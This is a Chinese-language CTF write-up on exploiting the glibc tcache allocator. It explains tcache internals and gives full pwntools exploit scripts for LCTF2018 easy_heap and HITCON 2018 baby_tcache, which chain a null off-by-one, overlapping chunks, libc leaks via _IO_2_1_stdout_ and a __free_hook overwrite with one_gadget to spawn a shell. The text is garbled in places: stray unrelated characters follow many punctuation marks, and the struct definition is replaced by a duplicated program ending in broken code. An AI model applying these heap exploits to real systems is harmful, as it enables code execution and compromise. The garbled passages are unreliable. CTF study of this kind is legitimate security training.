Tcache

libc2.26 之后的 Tcache 機(jī)制

1. Tcache 概述

? tcache是libc2.26之后引進(jìn)的一種新機(jī)制,類似于fastbin一樣的東西颖低,每條鏈上最多可以有 7 個 chunk,free的時候當(dāng)tcache滿了才放入fastbin委煤,unsorted bin际乘,malloc的時候優(yōu)先去tcache找。其相關(guān)結(jié)構(gòu)體如下

#include <stdlib.h>
#include <stdio.h>

int main(int argc , char* argv[])
{
    long* t[7];
    long *a=malloc(0x100);
    long *b=malloc(0x10);
    long *c=malloc(0x40);
    // make tcache bin full
    for(int i=0;i<7;i++)
        t[i]=malloc(0x100);
    for(int i=0;i<7;i++)
        free(t[i]);

    free(a);
    free(b);
    free(c);
    // a is put in an unsorted bin because the tcache bin of this size is full
    printf("%p\n",a[0]);
} } tcache_perthread_struct;
  1. tcache相關(guān)的就是上面這兩個結(jié)構(gòu)體抄肖,其中tcache_entry結(jié)構(gòu)體中的值是一個指向tcache_entry結(jié)構(gòu)體的指針,是一個單鏈表結(jié)構(gòu)窖杀。

  2. tcache_perthread_struct結(jié)構(gòu)體是用來管理tcache鏈表的漓摩。其中的count是一個字節(jié)數(shù)組(共64個字節(jié),對應(yīng)64個tcache鏈表)入客,其中每一個字節(jié)表示的是tcache每一個鏈表中有多少個元素管毙。entries是一個指針數(shù)組(共64個元素,對應(yīng)64個tcache鏈表桌硫,因此 tcache bin中最大為0x400字節(jié))夭咬,每一個指針指向的是對應(yīng)tcache_entry結(jié)構(gòu)體的地址。

  3. 看了上面的描述铆隘,只知道tcache_entry是一個只有一個字段的結(jié)構(gòu)體卓舵,該鏈表與fastbin鏈表的異同點(diǎn)在于:

    • tcachebin和fastbin都是通過chunk的fd字段來作為鏈表的指針

    • tcachebin中的鏈表指針指向的下一個chunk的fd字段,fastbin中的鏈表指針指向的是下一個chunk的prev_size字段

  4. _int_free中膀钠,最開始就先檢查chunk的size是否落在了tcache的范圍內(nèi)边器,且對應(yīng)的tcache未滿,將其放入tcache中托修。

  5. _int_malloc中,

    • 如果從fastbin中取出了一個塊恒界,那么會把剩余的塊放入tcache中直至填滿tcache(smallbin中也是一樣)

    • 如果進(jìn)入了unsortedbin睦刃,且chunk的size和當(dāng)前申請的大小精確匹配,那么在tcache未滿的情況下會將其放入到tcachebin中

從 Tcache 中獲取chunk 的代碼:

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  //根據(jù)索引找到tcache鏈表的頭指針
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  //將chunk取出
  tcache->entries[tc_idx] = e->next;
  //tcache計(jì)數(shù)器減一
  --(tcache->counts[tc_idx]);
  return (void *) e;

從 Tcache 中獲取 chunk 的情形:

  • 在調(diào)用malloc_hook之后十酣,_int_malloc之前涩拙,如果tcache中有合適的chunk,那么就從tcache中取出:
  • 遍歷完unsorted bin后耸采,若tcachebin中有對應(yīng)大小的chunk兴泥,從tcache中取出:
  • 遍歷unsorted bin時,大小不匹配的chunk會被放入對應(yīng)的bins虾宇,若達(dá)到tcache_unsorted_limit限制且之前已經(jīng)存入過chunk則在此時取出(默認(rèn)無限制)

2.Tcache 例子

? 以下面的程序?yàn)槔?

#include <stdlib.h>
#include <stdio.h>

int main(int argc , char* argv[])
{
    long* t[7];
    long *a=malloc(0x100);
    long *b=malloc(0x10);
    long *c=malloc(0x40);
    // make tcache bin full
    for(int i=0;i<7;i++)
        t[i]=malloc(0x100);
    for(int i=0;i<7;i++)
        free(t[i]);

    free(a);
    free(b);
    free(c);
    // a is put in an unsorted bin because the tcache bin of this size is full
    printf("%p\n",a[0]);
} 
  • 可以看到在執(zhí)行完之后搓彻,只有當(dāng) tcache 中填充完7個 cache 后,再釋放才會進(jìn)入其對應(yīng)的 normal bins,這點(diǎn)和之前版本的 libc 不同旭贬。
pwndbg> bins
tcachebins
0x20 [  1]: 0x555555756370 ?— 0x0
0x50 [  1]: 0x555555756390 ?— 0x0
0x110 [  7]: 0x555555756a40 —? 0x555555756930 —? 0x555555756820 —? 0x555555756710 —? 0x555555756600 ?— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555555756250 —? 0x7ffff7dcfca0 (main_arena+96) ?— 0x555555756250 /* 'PbuUUU' */
smallbins
empty
largebins
empty
pwndbg> 

3. Tcache 利用

? Tcache的利用主要分為以下幾種:

  • tcache poisoning

    • 簡單來說就是覆蓋 tcache entry 結(jié)構(gòu)體中的 next 域怔接,不經(jīng)過任何偽造 chunk 即可分配到另外地址
  • tcache dup

    • 類似于 fastbin 的double free,就是多次釋放同一個tcache稀轨,形成環(huán)狀鏈表
  • tcache perthread corruption

    • 控制tcache_perthread_struct結(jié)構(gòu)體
  • tcache house of spirit

    • free 內(nèi)存后扼脐,使得棧上的一塊地址進(jìn)入 tcache 鏈表,這樣再次分配的時候就能把這塊地址分配出來

例題1: LCTF2018 PWN easy_heap

簡單分析后奋刽,該題目是一個常規(guī)菜單題目瓦侮,有malloc、free佣谐、puts操作肚吏,最多分配10個chunk,實(shí)際大小均為256(mallocd的是248但是可以復(fù)用后一個chunk的pre_size域)台谍, qword_202050 處有一個數(shù)組存儲分配的 chunk 和用戶自定義的大小须喂,除此之外保護(hù)全開:

nevv@ubuntu:~/Desktop$ checksec easy_heap
[*] '/home/nevv/Desktop/easy_heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

? 在malloc處存在 NULL 單字節(jié)溢出:

unsigned __int64 __fastcall sub_BEC(_BYTE *a1, int a2)
{
  unsigned int v3; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v3 = 0;
  if ( a2 )
  {
    while ( 1 )
    {
      read(0, &a1[v3], 1uLL);
      if ( a2 - 1 < v3 || !a1[v3] || a1[v3] == 10 )
        break;
      ++v3;
    }
    a1[v3] = 0;
    a1[a2] = 0;
  }
  else
  {
    *a1 = 0;
  }
  return __readfsqword(0x28u) ^ v4;
}

? 這里我發(fā)現(xiàn)網(wǎng)上的很多腳本都是一樣的,在解題思路中都沒有說明用于 overlapping chunk 的 pre_size 是怎么設(shè)置的趁蕊,因?yàn)槲覀円窍胱屍渑c上一個 chunk 發(fā)生 overlapping坞生,必然要構(gòu)造 pre_size字段,直接構(gòu)造的話我們在讀取內(nèi)容的時候‘\0’會截?cái)喽叶褖K大小是0x100掷伙,因此需要另外想辦法構(gòu)造出 pre_size 字段是己,這也是解題的關(guān)鍵所在。這里我結(jié)合出題人的 思路 給出以下兩種辦法做參考:

  1. tcache在分配完其中的7個堆塊后如果再次分配任柜,它會先從unsortedbin中把和要分配的堆塊大小相同的堆塊全部以單鏈表形式鏈入tcache的鏈表里然后再分配出來卒废,如果unsortedbin中有三個及以上符合大小的堆塊,當(dāng)并入tcache時宙地,你會發(fā)現(xiàn)中間的堆塊其fd->bk以及bk->fd仍然指向它自身摔认,題目中恰好設(shè)置了堆塊為0x100對齊,所以分配出來的堆塊內(nèi)容如果什么都不輸入那么它的“\0”終止符不會影響fd指針宅粥,在將中間的堆塊重新malloc出來利用nullbyone漏洞修改下個堆塊的previnuse位為0参袱,然后填滿tcache后free掉下個堆塊,那么他就會和前面的堆塊合并形成overlap-chunk秽梅。

  2. 通過 free 操作使得某個要用作 overlapping 的 chunk presize 有我們想要的值抹蚀,比如填充滿 Tcache 后,再次釋放空間連續(xù)的三個 chunk A B C企垦,會進(jìn)入 unsorted_bin 并由合并操作环壤,此時最后一個堆塊 chunk C 的pre_size 會遺留一個 0x200的值,可以用于后續(xù)的 overlapping钞诡。

  • 獲取libc

    下邊給出使用了第二種思路的exp郑现,基本思想是一樣的 chunk A B C湃崩,A為 unsortbin, B為 Tcache 鏈表首部懂酱, C為 allocated 狀態(tài)竹习, 分配 B 并單字節(jié)溢出 C 的 pre_inuse 位,free(C) 后觸發(fā) overlapping列牺,再次 malloc整陌,將 A 從合并后的 fake unsort bin 中分配出去,這樣 B 的 fd 和 bk 的值就變?yōu)榱?main_arena + 96瞎领,同時 B 還存在于已經(jīng)分配出去的列表中泌辫。這樣就能獲取到 libc 的地址。

  • tcache dup

    然后我們再次 malloc 后九默,會再次把 chunk B 分配到程序自定義的記錄已分配的 chunk 的列表中震放,這樣就獲得了兩次free B 的機(jī)會,然后通過 malloc 兩次 chunk B驼修,第一次分配后將其 fd 的位置改為 __free__hook 的 got 表地址殿遂,第二次分配的時候就獲得到了 __free__hook 處的空間,此時再進(jìn)行改寫乙各,就是改的 __free__hook 的 got 表項(xiàng)墨礁,將其改為 one_gadget 即可。

exp:

from pwn import *

context.log_level = "debug"

p = process('./easy_heap')

def malloc(size,content):
    p.recvuntil("> ")
    p.sendline('1')
    p.recvuntil("> ")
    p.sendline(str(size))
    p.recvuntil("> ")
    p.sendline(content)


def free(index):
    p.recvuntil("> ")
    p.sendline("2")
    p.recvuntil("> ")
    p.sendline(str(index))


def puts(index):
    p.recvuntil("> ")
    p.sendline("3")
    p.recvuntil("> ")
    p.sendline(str(index))


for x in range(10):
    malloc(0x20,"")

for x in range(3,10):
    free(x)

for x in range(3):
    free(x)

for x in range(10):
    malloc(0x20,"")


for x in range(6):
    free(x)

free(8) # tcache
free(7) # unsort bin

malloc(248,'') 

free(6) # tcache
free(9) # overlapping


for x in range(8):
    malloc(0x20,'')


puts(0)

libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3EBC40
free_hook = libc_base + 0x3ed8e8
print hex(libc_base)
print hex(libc_base + 96 + 0x3EBC40)
one_shot = libc_base + 0x4f322

malloc(0x20,'')
free(5) # free to avoid full 

free(0)
free(9)
malloc(0x20,p64(free_hook))
malloc(0x20,'')
malloc(0x20,p64(one_shot))
free(5)
# gdb.attach(p)


# https://libc.blukat.me/
p.interactive()

例題2:HITCON 2018 PWN baby_tcache

這道題目和上一題整體差不多耳峦,但是只有新建和刪除兩個功能恩静,同時使用一個全局變量保存申請的地址和每次申請空間的大小。 新建函數(shù)如下:

int new()
{
  _QWORD *v0; // rax
  signed int i; // [rsp+Ch] [rbp-14h]
  _BYTE *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 size; // [rsp+18h] [rbp-8h]

  for ( i = 0; ; ++i )
  {
    if ( i > 9 )
    {
      LODWORD(v0) = puts(":(");
      return (signed int)v0;
    }
    if ( !qword_202060[i] )
      break;
  }
  printf("Size:");
  size = get_input();
  if ( size > 0x2000 )
    exit(-2);
  v3 = malloc(size);
  if ( !v3 )
    exit(-1);
  printf("Data:");
  sub_B88((__int64)v3, size);
  v3[size] = 0;                  // 存在 null off by one 漏洞
  qword_202060[i] = v3;
  v0 = qword_2020C0;
  qword_2020C0[i] = size;
  return (signed int)v0;
}

這道題目和之前最大的不同之處是我們要考慮怎么把 libc 的地址 leak 出來蹲坷,考慮以下思路:

  • 申請三個chunk A驶乾、B、C循签,AC是unsortbin级乐,大小大于0x400,B 是一個tcache大小的chunk县匠。
  • add B的時候溢出C的 pre_inuse 位唇牧,再次釋放C的時候觸發(fā)前向合并
  • 再次申請空間,使得之前B的位置fd和bk存儲的是到main_arena的一個偏移
  • 申請一個比B稍微大些的chunk聚唐,并把其FD覆蓋為 _IO_2_1_stdout_ 結(jié)構(gòu)體所在的位置,稍微大些是為了防止從tcache 中將B取出來使用腔召,后續(xù)無法進(jìn)行 tcache dup和tcache poisoning

分配得到一個指向 _IO_2_1_stdout_ 的結(jié)構(gòu)體后杆查,我們覆蓋掉IO_FILE結(jié)構(gòu)體_IO_write_base的低字節(jié),使其在下次puts時輸出我們修改后的_IO_write_base_IO_write_ptr/_IO_write_end的數(shù)據(jù)

  • leak libc后,利用tcache dup臀蛛,將chunk分配到malloc hook或free hook前亲桦,覆蓋其為one_gadget即可get shell
from pwn import *

context.log_level = 'debug'



def new(size,data):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('Size:')
    p.sendline(str(size))
    p.recvuntil('Data:')
    p.send(data)


def delete(index):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))


while True:

    try:

        p = process('./baby_tcache')

        new(0x500,'a')
        new(0x78,'a')
        new(0x4f0,'a')
        new(0x20,'a') # 防止和 top_chunk發(fā)生合并

        #unsorted bin
        delete(0)

        delete(1)
        new(0x78,'a')

        #overwrite the pre_chunk_in_use and pre_size
        #clean pre_size
        for i in range(6):
            delete(0)
            new(0x70+8-i,'a'*(0x70+8-i))
            '''
            利用如下代碼清理delete后填充的0xda數(shù)據(jù)崖蜜,恢復(fù)出 pre_size 字段
            printf("Size:");
            size = get_input();
            if ( size > 0x2000 )
              exit(-2);
            v3 = malloc(size);
            if ( !v3 )
              exit(-1);
            printf("Data:");
            sub_B88((__int64)v3, size);
            v3[size] = 0;      
            '''
        
        delete(0)
        new(0x72,'a'*0x70 + '\x90\x05')

        #unsorted bin Merging forward
        delete(2)
        delete(0)

        #hijack fd -> _IO_2_1_stdout_
        new(0x500,'a')
        new(0x88,'\x60\xc7')

        #hijack _IO_write_base to leak libc
        new(0x78,'a')
        fake__IO_2_1_stdout_ = p64(0xfbad1800) + p64(0)*3 + "\x00"
        #gdb.attach(p)
        new(0x78,fake__IO_2_1_stdout_)
        libc_base = u64(p.recv(0x30)[8:16]) - 0x3ed8b0
        log.success('libc_base addr : 0x%x'%libc_base)
        free_hook = libc_base + 0x3ed8e8
        one_gadget = libc_base + 0x4f322
        log.success('free_hook addr : 0x%x'%free_hook)
        log.success('one_gadget addr : 0x%x'%one_gadget)

        #double free
        delete(1)
        delete(2)

        #hijack free_hook -> one_gadget
        new(0x88,p64(free_hook))
        new(0x88,'a')
        new(0x88,p64(one_gadget))

        #trigger one_gadget
        delete(0)


        p.interactive()

    except Exception as e:

        p.close()

文件結(jié)構(gòu)體更改緣由

  • 通過修改 stdout->_flags 使得程序流能夠流到 _IO_do_write (f, f->_IO_write_base , f->_IO_write_ptr - f->_IO_write_base) 這個函數(shù)

在ida中可以看到 _IO_2_1_stdout_ 結(jié)構(gòu)體的偏移為 0x3EC760,_IO_write_base 的偏移為 32:

.data:00000000003EC760 _IO_2_1_stdout_ db  84h                 ; DATA XREF: LOAD:0000000000008D18↑o
.data:00000000003EC760                                         ; .data:00000000003EC6E8↑o ...
.data:00000000003EC761                 db  20h
.data:00000000003EC762                 db 0ADh
.data:00000000003EC763                 db 0FBh
.data:00000000003EC764                 db    0
    
pwndbg> x /30gx stdout
0x7f27e520c760 <_IO_2_1_stdout_>:   0x00000000fbad1800  0x00007f27e520c7e3
0x7f27e520c770 <_IO_2_1_stdout_+16>:    0x00007f27e520c7e3  0x00007f27e520c7e3
0x7f27e520c780 <_IO_2_1_stdout_+32>:    0x00007f27e520c7e3(!!!_IO_write_base)   0x00007f27e520c7e3
0x7f27e520c790 <_IO_2_1_stdout_+48>:    0x00007f27e520c7e4  0x00007f27e520c7e3
0x7f27e520c7a0 <_IO_2_1_stdout_+64>:    0x00007f27e520c7e4  0x0000000000000000
0x7f27e520c7b0 <_IO_2_1_stdout_+80>:    0x0000000000000000  0x0000000000000000
0x7f27e520c7c0 <_IO_2_1_stdout_+96>:    0x0000000000000000  0x00007f27e520ba00
0x7f27e520c7d0 <_IO_2_1_stdout_+112>:   0x0000000000000001  0xffffffffffffff00
0x7f27e520c7e0 <_IO_2_1_stdout_+128>:   0x000000000a000000  0x00007f27e520d8c0
0x7f27e520c7f0 <_IO_2_1_stdout_+144>:   0xffffffffffffffff  0x0000000000000000
0x7f27e520c800 <_IO_2_1_stdout_+160>:   0x00007f27e520b8c0  0x0000000000000000
0x7f27e520c810 <_IO_2_1_stdout_+176>:   0x0000000000000000  0x0000000000000000
0x7f27e520c820 <_IO_2_1_stdout_+192>:   0x00000000ffffffff  0x0000000000000000
0x7f27e520c830 <_IO_2_1_stdout_+208>:   0x0000000000000000  0x00007f27e52082a0
0x7f27e520c840 <stderr>:    0x00007f27e520c680  0x00007f27e520c760

? 我們將 _IO_write_base 的最低字節(jié)改為 00客峭,實(shí)際上就到了 3EC700 的位置豫领,據(jù)此位置8個字節(jié)后,存儲的unk_3ED8B0 和 libc 基地址有固定的偏移 unk_3ED8B0舔琅,因此可以泄露出 libc等恐。

.data:00000000003EC700                 db    0
.data:00000000003EC701                 db    0
.data:00000000003EC702                 db    0
.data:00000000003EC703                 db    0
.data:00000000003EC704                 db    0
.data:00000000003EC705                 db    0
.data:00000000003EC706                 db    0
.data:00000000003EC707                 db    0
.data:00000000003EC708                 dq offset unk_3ED8B0
.data:00000000003EC710                 db 0FFh
.data:00000000003EC711                 db 0FFh
.data:00000000003EC712                 db 0FFh
.data:00000000003EC713                 db 0FFh
.data:00000000003EC714                 db 0FFh
.data:00000000003EC715                 db 0FFh
.data:00000000003EC716                 db 0FFh

? 泄露出 libc 后,由于此時存儲chunk的數(shù)組中有兩個元素指向的是同一個空間备蚓,使用 tcache dup 和 tcache poisoning课蔬,執(zhí)行修改 free_hook 為 one_gadget,進(jìn)而 getshell

參考鏈接

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末郊尝,一起剝皮案震驚了整個濱河市二跋,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌流昏,老刑警劉巖扎即,帶你破解...
    沈念sama閱讀 222,729評論 6 517
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異况凉,居然都是意外死亡谚鄙,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,226評論 3 399
  • 文/潘曉璐 我一進(jìn)店門茎刚,熙熙樓的掌柜王于貴愁眉苦臉地迎上來襟锐,“玉大人,你說我怎么就攤上這事膛锭×肝耄” “怎么了?”我有些...
    開封第一講書人閱讀 169,461評論 0 362
  • 文/不壞的土叔 我叫張陵初狰,是天一觀的道長莫杈。 經(jīng)常有香客問我,道長奢入,這世上最難降的妖魔是什么筝闹? 我笑而不...
    開封第一講書人閱讀 60,135評論 1 300
  • 正文 為了忘掉前任,我火速辦了婚禮腥光,結(jié)果婚禮上关顷,老公的妹妹穿的比我還像新娘。我一直安慰自己武福,他們只是感情好议双,可當(dāng)我...
    茶點(diǎn)故事閱讀 69,130評論 6 398
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著捉片,像睡著了一般平痰。 火紅的嫁衣襯著肌膚如雪汞舱。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,736評論 1 312
  • 那天宗雇,我揣著相機(jī)與錄音昂芜,去河邊找鬼。 笑死赔蒲,一個胖子當(dāng)著我的面吹牛泌神,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播嘹履,決...
    沈念sama閱讀 41,179評論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼腻扇,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了砾嫉?” 一聲冷哼從身側(cè)響起幼苛,我...
    開封第一講書人閱讀 40,124評論 0 277
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎焕刮,沒想到半個月后舶沿,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,657評論 1 320
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡配并,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,723評論 3 342
  • 正文 我和宋清朗相戀三年括荡,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片溉旋。...
    茶點(diǎn)故事閱讀 40,872評論 1 353
  • 序言:一個原本活蹦亂跳的男人離奇死亡畸冲,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出观腊,到底是詐尸還是另有隱情邑闲,我是刑警寧澤,帶...
    沈念sama閱讀 36,533評論 5 351
  • 正文 年R本政府宣布梧油,位于F島的核電站苫耸,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏儡陨。R本人自食惡果不足惜褪子,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,213評論 3 336
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望骗村。 院中可真熱鬧嫌褪,春花似錦、人聲如沸胚股。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,700評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽信轿。三九已至晃痴,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間财忽,已是汗流浹背倘核。 一陣腳步聲響...
    開封第一講書人閱讀 33,819評論 1 274
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留即彪,地道東北人紧唱。 一個月前我還...
    沈念sama閱讀 49,304評論 3 379
  • 正文 我出身青樓,卻偏偏與公主長得像隶校,于是被迫代替她去往敵國和親漏益。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,876評論 2 361

推薦閱讀更多精彩內(nèi)容